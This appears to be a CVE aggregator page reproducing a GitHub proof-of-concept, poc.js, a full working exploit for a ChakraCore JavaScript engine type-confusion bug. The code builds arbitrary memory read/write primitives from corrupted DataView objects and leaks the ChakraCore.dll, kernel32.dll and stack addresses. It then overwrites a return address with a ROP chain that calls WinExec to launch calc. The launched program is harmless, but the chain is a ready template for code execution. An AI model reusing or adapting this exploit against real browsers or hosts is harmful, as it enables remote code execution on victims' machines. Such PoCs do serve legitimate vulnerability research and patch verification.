4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.js JS
obj = {};
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

function hex(x)
{
  return x.toString(16);
}

function read64(lo, hi)
{
  dataview1.setUint32(0x38, lo, true);
  dataview1.setUint32(0x3c, hi, true);

  var arrayRead = new Uint32Array(0x10); 
  arrayRead[0] = dataview2.getUint32(0x0, true);
  arrayRead[1] = dataview2.getUint32(0x4, true);
  return arrayRead;   
}

function write64(lo, hi, valLo, valHi)
{
   dataview1.setUint32(0x38, lo, true);
   dataview1.setUint32(0x3C, hi, true);
  
   dataview2.setUint32(0x0, valLo, true);
   dataview2.setUint32(0x4, valHi, true);
}

function opt(o, proto, value)
{
   o.b = 1;
   let tmp = {__proto__: proto};

   o.a = value;
}

function main()
{
    for (let i=0;i < 2000; i++)
    {
	    let o = {a:1, b:2};
      opt(o, {},{}); 
    }

    let o = {a:1, b: 2};

    opt(o, o, obj);

    o.c = dataview1;

    obj.h = dataview2;

   vtableLo = dataview1.getUint32(0x0,true);
   vtableHigh = dataview1.getUint32(0x4,true);

   typeLo = dataview1.getUint32(0x8, true);
   typeHigh = dataview1.getUint32(0xc, true);

   print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    
   chakraLo = vtableLo - 0x19cd680;
   chakraHigh = vtableHigh;

   print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

   iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);

   kernel32High = iatEntry[1];

   kernel32Lo = iatEntry[0] - 0x00020470;

   print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

   javascriptLibrary = read64(typeLo+0x8, typeHigh);

   scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

   threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

   stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

   print("[+] Leaked stack from type->javascriptLibrary->scriptContext->stackLimitForCurrentThread");
   print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

   var stackLeak = new Uint32Array(0x10);
   stackLeak[0] = stackAddress[0] + 0xed000;
   stackLeak[1] = stackAddress[1];

   // Print update
   print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
   
  let counter = 0;

  var retAddr = new Uint32Array(0x10);
  retAddr[0] = chakraLo + 0x01768f20;
  retAddr[1] = chakraHigh;

  while (true)
  {
	  tempContents = read64(stackLeak[0]+counter, stackLeak[1]);
        
    if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
    {
		  print("[+] Found the target address on the stack!");
		  print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));
		  break;
    }
	  counter += 0x8;
  }
   
    // Begin ROP chain
    // 0x181774902: pop rax ; ret ; (1 found) - 0x1774902
    // 0x181773ca3: pop rcx ; ret ; (1 found) - 0x1773ca3
    // 0x1816d08b7: mov qword [rcx], rax ; ret ; (1 found) - 0x16d08b7


    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1774902, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1773ca3, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x01ce3000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x16d08b7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1764415, chakraHigh);      // 0x1800d7ff7: pop rdx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000);            // 0
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1774902, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x000677d0, kernel32High);  // KERNEL32!WinExec address
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x17903f6, chakraHigh);      // 0x1817903f6: jmp rax
    counter+=0x8;

}  
 
main();